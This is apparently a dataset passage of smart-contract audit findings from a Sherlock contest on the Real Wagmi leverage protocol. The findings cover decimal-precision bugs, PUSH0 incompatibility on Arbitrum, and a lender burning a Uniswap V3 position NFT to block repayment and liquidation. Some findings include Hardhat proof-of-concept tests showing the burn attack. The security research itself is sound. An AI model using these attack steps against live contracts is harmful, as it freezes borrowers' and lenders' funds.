Review\n\n## Recommendation\nDo not use hardcoded precision, instead adjust it to processed tokens e.g. using `decimals()` value or limit the protocol to be used only with whitelisted, 18 decimals tokens.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//006-H/101.md"}} +{"title":"Collateral Precision Hardcoded to 18 Decimals","severity":"major","body":"Early Blush Yak\n\nhigh\n\n# Collateral Precision Hardcoded to 18 Decimals\n## Summary\n\n`COLLATERAL_BALANCE_PRECISION` is hardcoded to `18`\n\n## Vulnerability Detail\n\nCollateral can be a decimal any decimal places, however the protocol hardcodes the collateral token precision to 18 decimal places:\n\n```solidity\nuint256 public constant COLLATERAL_BALANCE_PRECISION = 1e18;\n```\n\nThis leads to incorrect calculation any time the decimals of the collateral is not 18 decimals.\n## Impact\n\nIncorrect calculation for collateral decimals other than `18`\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol#L15C12-L15C12\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange the collateral precision to match the precision of the underlying token","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//006-H/091.md"}} +{"title":"Project may fail to be deployed to Arbitrum chain","severity":"medium","body":"Dry Plum Loris\n\nmedium\n\n# Project may fail to be deployed to Arbitrum chain\n## Summary\nReal Wagmi project plans to deploy their smart contracts on multiple EVM-compatible blockchains. To ensure compatibility and consistency, they have compiled all their smart contracts using Solidity pragma version 0.8.21. However, this particular version introduces a new opcode called PUSH0, which is only available starting from Solidity version 0.8.20. Since PUSH0 is not supported by certain chains, like [Arbitrum](https://docs.arbitrum.io/solidity-support), it poses a compatibility risk for Real Wagmi's contracts.\n\n## Vulnerability Detail\nThe root cause of the vulnerability is that Solidity pragma version 0.8.21 introduces the PUSH0 opcode, which may not be supported by all EVM-compatible chains. As a result, contracts compiled with this version of Solidity may not function correctly on chains that do not support the Shanghai hard fork. This incompatibility could affect the proper execution of Real Wagmi's contracts on certain blockchains.\n\n## Impact\nThe impact of this vulnerability is associated with the potential deployment and execution issues of Real Wagmi's smart contracts on chains not supporting the PUSH0 opcode. Using Solidity pragma version 0.8.21 could result in incorrect contract deployment and functionality on certain chains. Additionally, using different Solidity versions for compiling contracts on various chains can lead to bytecode variations affecting contract address determinism, possibly violating counterfactuality.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/OwnerSettings.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol#L2\n\n## Tool used\nManual Review\n\n## Recommendation\nTo address this compatibility risk, it is recommended that Real Wagmi consider changing the Solidity pragma version to 0.8.19 for all relevant contracts. This version, which does not include the PUSH0 opcode, may ensure better compatibility across various EVM-compatible chains.\n\nAlternatively, Real Wagmi could explore setting the `evm_version` to \"paris\" when compiling, which can help ensure compatibility with different chains, including those like Arbitrum that do not support PUSH0.\n\n**References:**\n- [Solidity Issue #14254](https://github.com/ethereum/solidity/issues/14254)\n- [Arbitrum Solidity Support](https://docs.arbitrum.io/solidity-support)","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//005-M/173.md"}} +{"title":"Users may lose their funds","severity":"medium","body":"Proud Mocha Mustang\n\nhigh\n\n# Users may lose their funds\n## Summary\nUsers may lose funds\n\n## Vulnerability Detail\nRealWagmi going to be deployed on following chains:\nMainnet, KavaEVM,Arbitrum, polygon, zkera, optimism,fantom opera, avalanche,base,linea,bs\n\nThe problem is that Uniswap doesn't support kavaevm, zkera, fantom, linea. If contracts will be deployed on those chains wrong address of Uniswap contracts will be used\n```solidity\nconstructor(\n address _underlyingPositionManagerAddress,\n address _underlyingQuoterV2,\n address _underlyingV3Factory,\n bytes32 _underlyingV3PoolInitCodeHash\n ) ApproveSwapAndPay(_underlyingV3Factory, _underlyingV3PoolInitCodeHash) {\n // Assign the underlying position manager contract address\n underlyingPositionManager = INonfungiblePositionManager(_underlyingPositionManagerAddress);\n // Assign the underlying quoterV2 contract address\n underlyingQuoterV2 = IQuoterV2(_underlyingQuoterV2);\n // Generate a unique salt for the new Vault contract\n bytes32 salt = keccak256(abi.encode(block.timestamp, address(this)));\n // Deploy a new Vault contract using the generated salt and assign its address to VAULT_ADDRESS\n VAULT_ADDRESS = address(new Vault{ salt: salt }());\n }\n```\nIf users will try to interact with RealWagmi contracts on unsupported chains they most likely loose their funds\n\n## Impact\nUsers may lose their funds when interacting with RealWagmi contracts on unsupported chains.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L78-L92\n\n## Tool used\n\nManual Review\n\n## Recommendation\nBefore deploying RealWagmi contracts on a particular chain, ensure that Uniswap contracts are supported on that chain","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//005-M/137.md"}} +{"title":"Project may fail to be deployed to arbitrum chains becoz of `PUSH0` opcode","severity":"medium","body":"Quiet Hickory Mule\n\nmedium\n\n# Project may fail to be deployed to arbitrum chains becoz of `PUSH0` opcode\n## Summary\nThe protocol is expected to be functional on many EVM chain and one of the chain is Arbitrum. \n`PUSH0` is an instruction which pushes the constant value 0 onto the stack. This opcode is still not supported by many chains, like [Arbitrum](https://developer.arbitrum.io/solidity-support#Differences%20from%20Solidity%20on%20Ethereum) and might be problematic for projects compiled with a version of Solidity <=0.8.20\n\n## Vulnerability Detail\nI did just find a reference: [https://developer.arbitrum.io/solidity-support]( https://developer.arbitrum.io/solidity-support)\n\n## Impact\nContracts may become completely non-functional on arbitrum chains.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/OwnerSettings.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/ErrLib.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/ExternalCall.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Keys.sol#L2\n\n## Tool used\nManual Review\n\n## Recommendation\n```\npragma solidity ^0.8.18 <0.8.20;\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//005-M/125.md"}} +{"title":"The used solidity version 0.8.21 will not work properly on Arbitrum","severity":"medium","body":"Petite Canvas Sparrow\n\nmedium\n\n# The used solidity version 0.8.21 will not work properly on Arbitrum\n## Summary\nThe pragma is configured for version 0.8.21, it means that contracts require the compiler to be exactly version 0.8.21. The contest description states that the protocol is to be deployed on Arbitrum. However, this poses an issue since [Arbitrum doesn't work with versions 0.8.20 or later](https://docs.arbitrum.io/solidity-support). Compiling contracts for Arbitrum could result in faulty code. \n\n## Vulnerability Detail\nSee summary\n\n## Impact\nDamaged or non functional protocol if deployed on Arbitrum\n\n## Code Snippet\nAll contracts of the protocol:\n\n```bash\n\ngrep -Rl \"pragma solidity 0.8.21;\" ./contracts/\n./contracts/mock/AggregatorMock.sol\n./contracts/interfaces/IVault.sol\n./contracts/interfaces/INonfungiblePositionManager.sol\n./contracts/interfaces/IQuoterV2.sol\n./contracts/LiquidityBorrowingManager.sol\n./contracts/Vault.sol\n./contracts/libraries/Keys.sol\n./contracts/libraries/Constants.sol\n./contracts/libraries/ExternalCall.sol\n./contracts/libraries/ErrLib.sol\n./contracts/abstract/ApproveSwapAndPay.sol\n./contracts/abstract/OwnerSettings.sol\n./contracts/abstract/LiquidityManager.sol\n./contracts/abstract/DailyRateAndCollateral.sol\n```\n\ne.g. [LiquidityBorrowingManager](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L2)\n\n## Tool used\nManual Review\n\n## Recommendation\nUse pragma such as \n```solidity\npragma solidity >=0.8.0 <=0.8.19;\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//005-M/098.md"}} +{"title":"Pragma isn't compatible with Arbitrum and other rollups that don't support Push0","severity":"medium","body":"Ancient Malachite Jay\n\nmedium\n\n# Pragma isn't compatible with Arbitrum and other rollups that don't support Push0\n## Summary\n\n`pragma` has been set to `0.8.21`. The problem with this is that Arbitrum and other rollups are [NOT compatible](https://developer.arbitrum.io/solidity-support) with `0.8.20` and newer since it doesn't support Push0. Contracts compiled with this version will result in a nonfunctional or potentially damaged version that won't behave as expected.\n\n## Vulnerability Detail\n\nSee summary\n\n## Impact\n\nDamaged or nonfunctional contracts when deployed on Arbitrum and other rollups\n\n## Code Snippet\n\n[LiquidityBorrowingManager.sol#L2](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L2)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse a lower `pragma` such as `0.8.19`","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//005-M/084-best.md"}} +{"title":"Some chains do not support the solidity shanghai fork version","severity":"medium","body":"Festive Daffodil Grasshopper\n\nmedium\n\n# Some chains do not support the solidity shanghai fork version\n## Summary\n\nSolidity >= 0.8.20 version introduces push0 instruction, which is still not supported by many chains, like [Arbitrum](https://developer.arbitrum.io/solidity-support#Differences%20from%20Solidity%20on%20Ethereum) and might be problematic for projects compiled. \n\n## Vulnerability Detail\n\n```solidity\npragma solidity 0.8.21;\n```\n\nReal Wagmi is compiled using the latest solidity version, which may cause problems on the L2 chain.\nThis could also become a problem if different versions of Solidity are used to compile contracts for different chains. The differences in bytecode between versions can impact the deterministic nature of contract addresses, potentially breaking counterfactuality. \n\n## Impact\n\n1. The contract may not compile/run properly\n2. Compiling with different versions of solidity may result in different contract addresses.\n\n## Code Snippet\n\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L2\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange the Solidity compiler version to 0.8.19","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//005-M/009.md"}} +{"title":"Solidity version not run in all chains","severity":"medium","body":"Mysterious Vermilion Nightingale\n\nhigh\n\n# Solidity version not run in all chains\n## Summary\n\nThe Solidity version 0.8.21 includes the push0 instruction, which is not supported in some chains, such as [[Arbitrum](https://docs.arbitrum.io/solidity-support)](https://docs.arbitrum.io/solidity-support).\n\n## Vulnerability Detail\n\nIn newer versions of Solidity, the push0 instruction is included. However, some chains do not support this instruction. The Real Wagmi should be deployed on multiple chains. However, some of them do not support the push0 instruction. This means that the contract will be deployed but will not be executed.\n\n## Impact\n\nCode deployed in not supported chains will not execute.\n\n## Code Snippet\n\nIn all files the solidity version is set to 0.8.21\n\n```solidity\n// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.21;\n```\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L2\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol#L2\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nDowngrade the version of solidity for deployment.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//005-M/004.md"}} +{"title":"Liquidity owner can burn the liquidity position to hurt borrower","severity":"major","body":"Boxy Tangerine Quail\n\nmedium\n\n# Liquidity owner can burn the liquidity position to hurt borrower\n## Summary\nMalicious liquidity position owner can harm borrower by burning the liquidity hence, the borrower or any liquidatior can not repay and the borrowers collateral + liquidation bonus + 1 day collateral rate is lost forever.\n## Vulnerability Detail\nUniswapv3 positions can be controlled by the original owner and the approval address. In this case approval address is the wagmi contract and the owner is owner of the liquidity position. So owner can remove-burn liquidity.\n\nAssuming that Alice has a position and she has borrowed 10 WETH. She obtained this loan from Bob, who happens to be a large whale. However, Bob, seemingly for trolling purposes, decides to burn the liquidity position. Consequently, Alice becomes unable to repay her loan, and as a result, her borrowed collateral, the liquidation bonus, and the collateral she has accrued at the 1-day daily rate are now stuck. Alice has effectively lost that entire amount.\n\nIn theory, it appears that Bob has incurred a greater loss than Alice. Nevertheless, this scenario underscores the fact that Alice is a retail user with limited resources, while Bob possesses a significant amount of funds. Thus, Bob may not be concerned about losing 10 WETH, especially if it means causing harm to Alice.\n\n## Impact\nDoes not seem logically to do unless the liquidity position owner and the borrower has some sort of beef I guess but it is very easy to do so I will classify this as medium. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L650-L661\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L394-L426\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//004-H/146.md"}} +{"title":"Lender burning his position makes complete repayment of borrow position impossible","severity":"major","body":"Huge Honeysuckle Dolphin\n\nmedium\n\n# Lender burning his position makes complete repayment of borrow position impossible\n## Summary\n\nA problem arises when a lender burns their Liquidity Provider (LP) position – it becomes impossible to fully close a loan.\n\n## Vulnerability Detail\n\nCurrent functionality is not prepared for a case where lender burns his position. He could do it intentionaly to harm the system, unaware that there is an open loan or he could be hacked. Hacker would harm both the user and the Wagmi protocol.\n\nWithin the [LiquidityBorrowingManager](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) repay function, there are three situations for repaying a loan:\n\n1. Borrower decides to close the loan.\n2. The loan lacks collateral, leading to a liquidation event.\n3. A lender triggers an emergency exit during a liquidation.\n\nIn the first two cases, the transactions fail because the position is no longer active, making it impossible to increase liquidity.\n\nIn the third case, things are a bit different. When a loan comprises positions from various lenders, all active positions can still be retrieved from the protocol. However, there's an issue – the bonus earned during liquidation becomes inaccessible, and the loan remains open.\n\n### PoC \n\n#### 1. Borrower decides to close the loan.\n\n[WagmiLeverageTests.ts#L448](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L448)\n\n```diff\nit(\"repay borrowing and restore liquidity (long position WBTC zeroForSaleToken = false) will be successful\", async () => {\n // ...\n params = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //1%\n };\n+ await nonfungiblePositionManager.connect(alice).burn(nftpos[3].tokenId);\n await borrowingManager.connect(bob).repay(params, deadline);\n // ...\n});\n```\n\n> Result: Error: VM Exception while processing transaction: reverted with reason string 'Invalid token ID'\n\n#### 2. The loan lacks collateral, leading to a liquidation event.\n\n[WagmiLeverageTests.ts#L1097](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L1097)\n\n```diff\nit(\"Loan liquidation will be successful for anyone if the collateral is depleted\", async () => {\n // ...\n let params: LiquidityBorrowingManager.RepayParamsStruct = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //1%\n };\n\n+ let loans: LiquidityManager.LoanInfoStructOutput[] = await borrowingManager.getLoansInfo(borrowingKey);\n+ await nonfungiblePositionManager.connect(alice).burn(loans[0].tokenId);\n await borrowingManager.connect(alice).repay(params, deadline);\n // ...\n});\n```\n\n> Result: Error: VM Exception while processing transaction: reverted with reason string 'Invalid token ID'\n\n#### 3. A lender triggers an emergency exit during a liquidation.\n\n[WagmiLeverageTests.ts#L1023](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L1023)\n\n```diff\nit(\"emergency repay will be successful for PosManNFT owner if the collateral is depleted\", async () => {\n // ...\n borrowingManager.getLoansInfo(borrowingKey);\n expect(loans.length).to.equal(3);\n //console.log(loans);\n+ await nonfungiblePositionManager.connect(alice).burn(loans[0].tokenId);\n await expect(borrowingManager.connect(alice).repay(params, deadline))\n .to.emit(borrowingManager, \"EmergencyLoanClosure\")\n .withArgs(bob.address, alice.address, borrowingKey);\n // ...\n});\n```\n> Result: Error: VM Exception while processing transaction: reverted with reason string 'ERC721: owner query for nonexistent token'\n\n## Impact\n\nThe loan cannot be completely repaid. This will result in all borrowers using this burned position in their loan not wanting to borrow those tokens again because the loan will be opened endlessly and accumulate rates. Other lenders will have to initiate emergency withdraw and the liquidation bonus will be lost since it is distributed to the last lender who chooses to withdraw his funds in case of emergency withdraw.\n\n## Code Snippet\n\n[LiquidityBorrowingManager.sol#L532](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532)\n[WagmiLeverageTests.ts#L448](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L448)\n[WagmiLeverageTests.ts#L1097](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L1097)\n[WagmiLeverageTests.ts#L1023](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L1023)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd checks through the smart contracts to handle cases where the position is already burned.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//004-H/139.md"}} +{"title":"Malicious liquidity provider may burn their LP NFT to make liquidations impossible and cause protocol to incur bad debt","severity":"major","body":"Petite Canvas Sparrow\n\nhigh\n\n# Malicious liquidity provider may burn their LP NFT to make liquidations impossible and cause protocol to incur bad debt\n## Summary\nA malicious Liquidity Provider, who is ready to sacrifice some funds against the protocol (e.g. be a griefer or a competitor or if there is a protocol token in the future, have an intention of profit from short selling during a value dump), may burn his LP NFT while a borrow is taken against this LP NFT and as an effect, there will be no possibility to liquidate position(s) related to this loan. Due to this, a bad debt will keep incurring on that position, without possibility to really recover it in other way than just paying for it infinitely.\n\n## Vulnerability Detail\nAssume Bob is a liquidity provider who approved his liquidity to the protocol. He does this by calling approve of his Uniswapv3 NFT to the protocol. During a borrow operation Bob's liquidity is decreased, which the protocol can do [because its approved](https://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/NonfungiblePositionManager.sol#L185), but the LP still is the disponent and the owner of the LP NFT. He still is capable of decreasing liquidity too and collecting the fees too, by approving to the protocol he just authorized the protocol do to it too, but doesnt lose that permission. In order to `burn` the NFT, Bob has to [clear](https://github.com/Uniswap/v3-periphery/blob/main/contracts/NonfungiblePositionManager.sol#L379) his position which means decrease liquidity to zero and `collect` all the fees. [Here is the burn function for reference](https://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/NonfungiblePositionManager.sol#L377-L382).\nAs a result of burn, the owner becomes address(0) as the token should not exist anymore. This leads to unexpected implications described in the `Code Snippet` section. Although Bob will not be able to get his liquidity back, but if he's a malicious user, or a competition-sponsored actor, this cost may be still justified for him. \n\n## Impact\nA position related to that loan will not be repayable, attempt to liquidate(repay) it will end up with a revert, since it will not be possible to send back `holdToken` to `address(0)`. An irrecoverable bad debt will arise and will keep growing with time as per the interest rate for each position affected.\n\n## Code Snippet\nThere are few cases where the debt can be repaid and all depend on the loan NFT owner (`creditor`)\nin `repay`, if its not an emergency repayment (which wont be the case here because the LPer is malicious), the complete of repayment relies on [_restoreLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L650). If all further swaps succeed, anyway at some point in any loop that includes malicious liquidity, [here creditor of burned token will be address zero](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L306) and [here it will revert due to transfer to zero address](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L315).\n\n```solidity\n address creditor = underlyingPositionManager.ownerOf(loan.tokenId);\n [...]\n Vault(VAULT_ADDRESS).transferToken(cache.holdToken, creditor, liquidityOwnerReward);\n```\n\n[transferToken is defined here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol#L17-L21) and uses safeTransfer of ERC20, which [disallows transfer](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L175-L176) to zero address.\n\nTransferring the ownership of the debt will not be a solution here because the debt will still be the debt. Therefore in fact, a malicious LPer may bring the protocol into a broken state just by settling his debts with uniswap directly and burning his LP NFT right after.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe protocol should not rely on the owner to still be owning the NFT, however there is no straightforward solution to it. One can be to either save the primary owner address, but then if he will be selling or transferring his NFT, then the transfer may reach improper destination. Other way, might be to use the VAULT additionally as an escrow, (or other, separate contract) where the funds are send back and are redeemable by the creditor. To make things easier, it may auto-transfer these funds periodically, which adds some complexity, but the liquidations/repayments does not rely on the owner being the owner anymore.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//004-H/123.md"}} +{"title":"A burnt position will prevent repayment and liquidation","severity":"major","body":"Big Charcoal Cod\n\nmedium\n\n# A burnt position will prevent repayment and liquidation\n## Summary\nA Burnt loan(position) can lead to a scenario where repayment or liquidation is impossible due to the `repay(...)` function not checking if the loan position is still active.\n\n## Vulnerability Detail\nThe vulnerability is straightforward. To explain this issue in detail, consider the following steps:\n1. Bob borrows a certain amount of loans.\n2. The lender, who is the owner of an active loan position, is compromised or intentionally burns their position. This can be accomplished by calling the Uniswap v3 position manager with the following code:\n```Javascript\nawait nonfungiblePositionManager.connect(alice).burn(nftpos[3].tokenId);\n```\n3. Now, when Alice attempts to make a repayment, it becomes impossible because the function will revert, indicating that the tokenID does not exist. This occurs when attempting to restore liquidity to the burned position.\n\nAs a result, only an emergency \"liquidation\" is possible for the other loan owners. The entire borrowing cannot be repaid or liquidated anymore.\n \n \n### Proof of Concept\nTo demonstrate this issue, a Proof of Concept was executed as follows:\n```Javascript\nit(\"DOS of repayment if tokenID is burnt\", async () => {\n let amountWBTC = ethers.utils.parseUnits(\"0.05\", 8); //token0\n const deadline = (await time.latest()) + 60;\n const minLeverageDesired = 50;\n const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);\n\n const loans = [\n {\n liquidity: nftpos[3].liquidity,\n tokenId: nftpos[3].tokenId,\n },\n ];\n console.log(await nonfungiblePositionManager.ownerOf(nftpos[3].tokenId)); // alice address\n \n \n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n \n \n let params = {\n internalSwapPoolfee: 500,\n saleToken: WETH_ADDRESS,\n holdToken: WBTC_ADDRESS,\n minHoldTokenOut: amountWBTC,\n maxCollateral: maxCollateralWBTC,\n externalSwap: swapParams,\n loans: loans,\n };\n await borrowingManager.connect(bob).borrow(params, deadline);\n\n const borrowingKey = await borrowingManager.userBorrowingKeys(bob.address, 0);\n const swapParamsRep: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\n let paramsRep: LiquidityBorrowingManager.RepayParamsStruct = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParamsRep,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //<=slippage simulated\n };\n await nonfungiblePositionManager.connect(alice).burn(nftpos[3].tokenId); //@audit simulation of hacked lender\n console.log(\"It was burnt\");\n await expect(borrowingManager.connect(bob).repay(paramsRep, deadline)).to.be.reverted// 'Invalid token ID'\n });\n\n```\n## Impact\nDisabled repayment for that active borrow of the user. The liquidation bonus is not accessible anymore as the whole liquidation is prevented.\n\n## Code Snippet\nHere, it will revert as the tokenId does not exist anymore. \n[\"Link to Code\"](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L398C5-L398C6)\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate this vulnerability, it is recommended to implement a check in the `_restoreLiquidity(...)` function to verify whether the position exists. If it does not exist, necessary actions should be taken to leave the borrowed assets as profit. The following pseudo code outlines this recommendation.\n```diff\n// Pseudo code\nfunction _restoreLiquidity(...){\n RestoreLiquidityCache memory cache;\n for (uint256 i; i < loans.length; ) {\n+ if (!success =underlyingPositionManager.call(ownerOf(loan.tokenID)){\n // Do necessary changes\ncontinue;\n}\n\t...\n}\n\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//004-H/102.md"}} +{"title":"Malicious liquidity provider can prevent liquidation of loan and loss of funds to other liquidity providers","severity":"major","body":"Orbiting Tweed Caterpillar\n\nhigh\n\n# Malicious liquidity provider can prevent liquidation of loan and loss of funds to other liquidity providers\n## Summary\nBy supplying a loan and burning the Univswap V3 position after, a malicious liquidity provider can cause DOS to real wagmi and prevent liquidation of loan(s) and loss of funds to other liquidity providers. \n\n## Vulnerability Detail\nA malicious liquidity provider could approve real wagmi to use his position for loans. After supplying the loan, the malicious actor could then burn their Uniswap V3 position NFT. This prevents repayment or liquidation of a loan, even through the emergency mode. \n\nIn the regular repayment/liquidation process, when `_upRestoreLiquidityCache()` is called, this external call :\n`underlyingPositionManager.positions(loan.tokenId);` reverts with 'Invalid Token Id\".\n\nIn the emergency process, when `_calculateEmergencyLoanClosure()` is called, this external call :\n`address creditor = underlyingPositionManager.ownerOf(loan.tokenId);`reverts with 'ERC721: owner query for nonexistent token'.\n\n## Proof of Concept\nIn `WagmiLeverageTests.ts`, bob provides a WETH_USDT loan with tokenId 512099. As all liquidity is used for loans, by inserting `await nonfungiblePositionManager.connect(bob).burn(nftpos[1].tokenId);` before `repay` is called, these tests will fail :\n1) it(\"emergency repay will be successful for PosManNFT owner if the collateral is depleted\") (L990)\n2) it(\"Loan liquidation will be successful for anyone if the collateral is depleted\") (L1071)\n\n## Impact\nAs a result of the DOS, \n- Liquidation of the loan not possible, significant funds loss/stuck\n- Honest liquidity providers are unable to recover funds supplied to the loan (up to 7 per position)\n- An honest borrower is unable to repay, close the loan and recover collateral\n\n## Code 